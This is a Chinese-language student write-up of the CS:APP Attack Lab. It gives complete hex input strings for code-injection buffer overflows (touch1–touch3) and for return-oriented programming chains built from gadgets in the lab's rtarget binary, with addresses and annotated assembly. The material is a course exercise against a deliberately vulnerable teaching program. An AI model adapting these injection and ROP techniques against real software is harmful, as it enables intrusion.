CS:APP配套實驗3:Attack Lab筆記

第三次配套lab也是關於第三章的內容,是有關緩衝區溢出的攻擊相關實驗。

總共是有5個phase,前三個phase是注入代碼,緩衝區溢出的攻擊,通過執行注入的代碼,然後返回到touch1,touch2,touch3的位置並且滿足一些條件。

但是單純的緩衝區溢出攻擊容易被棧隨機化,金絲雀值,限制可執行代碼區域等方法來解決,所以後兩個phase是ROP攻擊的實驗 ,是通過對程序中現有的彙編指令組合,進行攻擊。

writeup里寫清楚了如何操作,需要自己把讀入的string轉換成16進位的序列,然後用hex2raw文件轉換,然後讀入。對於彙編語句的16進位序列,可以直接寫一個example.s的彙編文件,生成可重定位目標程序example.o之後,反彙編成example.d來查看其16進位序列。

1. 緩衝區溢出攻擊

1. touch1

第一題最簡單,需要到達touch1就行了,不需要其他操作,因為棧開了40位元組的大小,所以只需要隨便輸入40位元組的字元,然後輸入需要return回的地址,也就是touch1的地址,就可以了。

輸入為:

33 33 33 33 33 33 33 33n33 33 33 33 33 33 33 33n33 33 33 33 33 33 33 33n33 33 33 33 33 33 33 33n33 33 33 33 33 33 33 33nc0 17 40 00 00 00 00 00n

2. touch2

第二題難度也不大,需要在到達touch2之前,把cookie變成參數val的值,需要在棧中注入代碼,然後緩衝區溢出修改返回的地址值位棧中注入代碼的位置,然後執行完後,把棧頂改為touch2的地址即可。

輸入為:

b8 e4 44 60 00 t/* mov $0x6044e4,%eax */nc7 00 c0 38 dd f7 t/* movl $0xf7dd38c0,(%rax) */nc7 04 24 ec 17 40 00 t/* movl $0x4017ec,(%rsp) */nc3 t/* retq */n33 33 33 33 33n33 33 33 33 33 33 33 33 n33 33 33 33 33 33 33 33n78 dc 61 55 00 00 00 00 /* %rsp */n

3. touch3

這題看似比較複雜,其實是要求在輸入中,包含cookie的8個16進位數,然後調用touch3的時候,調用hexmatch函數,然後把cookie轉換成字元串賦給一個指針,然後這個字元串和指向輸入中cookie的指針比較,看串是否相同。要求是相同。

所以在輸入中要存入cookie的串,並且不被後續操作覆蓋,然後getbuf之後跳轉到輸入中的函數,對%rdi賦值為輸入中cookie串的地址。

如何才能不被覆蓋呢?探索了很久,發現輸入時的前40位元組都會被覆蓋,那麼只能把cookie存在getbuf的父棧中了。這裡注意,返回地址是8位元組!因為這個地方錯了好久。

通過gdb調試看到父棧的棧頂為0x5561dca0,所以cookie應該存在0x5561dca8處

輸入為:

48 c7 c7 a8 dc 61 55 t/* mov $0x5561dca4,%rdi */n68 fa 18 40 00 t/* pushq $0x4018fa */nc3 t/* retq */n33 33 33 n33 33 33 33 33 33 33 33 n33 33 33 33 33 33 33 33 n33 33 33 33 33 33 33 33n78 dc 61 55 00 00 00 00 /* rsp */n35 39 62 39 39 37 66 61 00 /* 0x59b997fa */n

2. ROP攻擊

4. touch2(ROP)

通過組合rtarget里的彙編指令來攻擊這個程序,對於一段彙編指令 ,它的編碼中的部分,可能是另一段指令,所以可以通過跳轉到程序自身合適的位置來攻擊。

一開始看到很多指令編碼里有90,然後以為不能構成一段新的指令,就感覺沒法做。後來發現90是nop(no operation),所以90可以忽視。

那麼這題難度就不是很大了,可以把farm里的所有函數,都看一下是否包含其他指令。

這題的主要要求是,調用touch2的時候%rdi中存的值應該為cookie

我們發現它有包含如下指令。

popq %raxn

以及

movq %rax, %rdin

所以我們可以考慮,跳轉到popq的地方,然後在輸入中嵌入cookie,然後popq之後,再跳轉到movq處 ,把cookie的值給%rdi。

所以我們的輸入為

33 33 33 33 33 33 33 33n33 33 33 33 33 33 33 33n33 33 33 33 33 33 33 33n33 33 33 33 33 33 33 33n33 33 33 33 33 33 33 33nab 19 40 00 00 00 00 00 /* jump to 4019ab popq %rax */nfa 97 b9 59 00 00 00 00 /* cookie */na2 19 40 00 00 00 00 00 /* jump to 4019a2 movq %rax, %rdi */nec 17 40 00 00 00 00 00 00 /* touch2 */n

5. touch3(ROP)

第五題需要用到一點額外的編碼。

第五題的要求是,在輸入中包含cookie,然後把cookie的地址,傳給%rdi。

所以首先需要的幾個gadget就是,地址4019a2

movq %rax, %rdin

因為只有這句是往%rdi傳值,

還有這句,地址401a0b

movq %rsp,%raxn

這句把一個地址傳給了%rax。

所以我們先執行下面這句,再執行上面那句 ,%rdi中就有了cookie的地址。但是真的這麼簡單嗎 ,因為如果這倆地址之間加了個cookie,就是輸入為

0b 1a 40 00 00 00 00 00ncookiena2 19 40 00 00 00 00 00n

這樣,在執行完getbuf的ret之後,棧頂在cookie這裡,movq %rsp, %rax這句執行沒問題,但是ret的時候,返回地址為cookie,就跪了

所以cookie必須放在最後,那麼就需要一個,給%rax增加值的操作。

在地址4019d8處找到04 37(附錄上沒有)

add $0x37, %aln

有了這句話 ,就可以把cookie放在後面啦。

所以輸入為 :

33 33 33 33 33 33 33 33n33 33 33 33 33 33 33 33n33 33 33 33 33 33 33 33n33 33 33 33 33 33 33 33n33 33 33 33 33 33 33 33n06 1a 40 00 00 00 00 00 /* jump to 401a0b movq %rsp, %rax */nd8 19 40 00 00 00 00 00 /* jump to 4019d8 add $0x37, %al */na2 19 40 00 00 00 00 00 /* jump to 4019a2 movq %rax, %rdi */nfa 18 40 00 00 00 00 00 /* jump to 4018fa touch3 */n33 33 33 33 33 33 33 33n33 33 33 33 33 33 33 33n33 33 33 33 33 33 33 33n33 33 33 33 33 33 33 35n39 62 39 39 37 66 61 00 /* cookie */n

3. 總結

總的來說,除了最後題,沒有難題 ,但是我因為返回地址沒寫8位,以及不知道90是nop,卡了很久。除此以外,思考難度不大。但是了解了很多緩衝區的神奇攻擊方法,以及ROP攻擊,居然可以利用自身代碼來攻擊自己,還是漲了很多姿勢的。


推薦閱讀:

如何評價北京大學2016-2017年計算機系統導論(ICS)期末考試?
彙編過程調用是怎樣操作棧的?
請問popl %esp這個語句有什麼用處?
《深入理解計算機系統》配套實驗:Bomblab
彙編語言中call和ret指令必須成對出現嗎?

TAG:计算机系统 | CSAPP |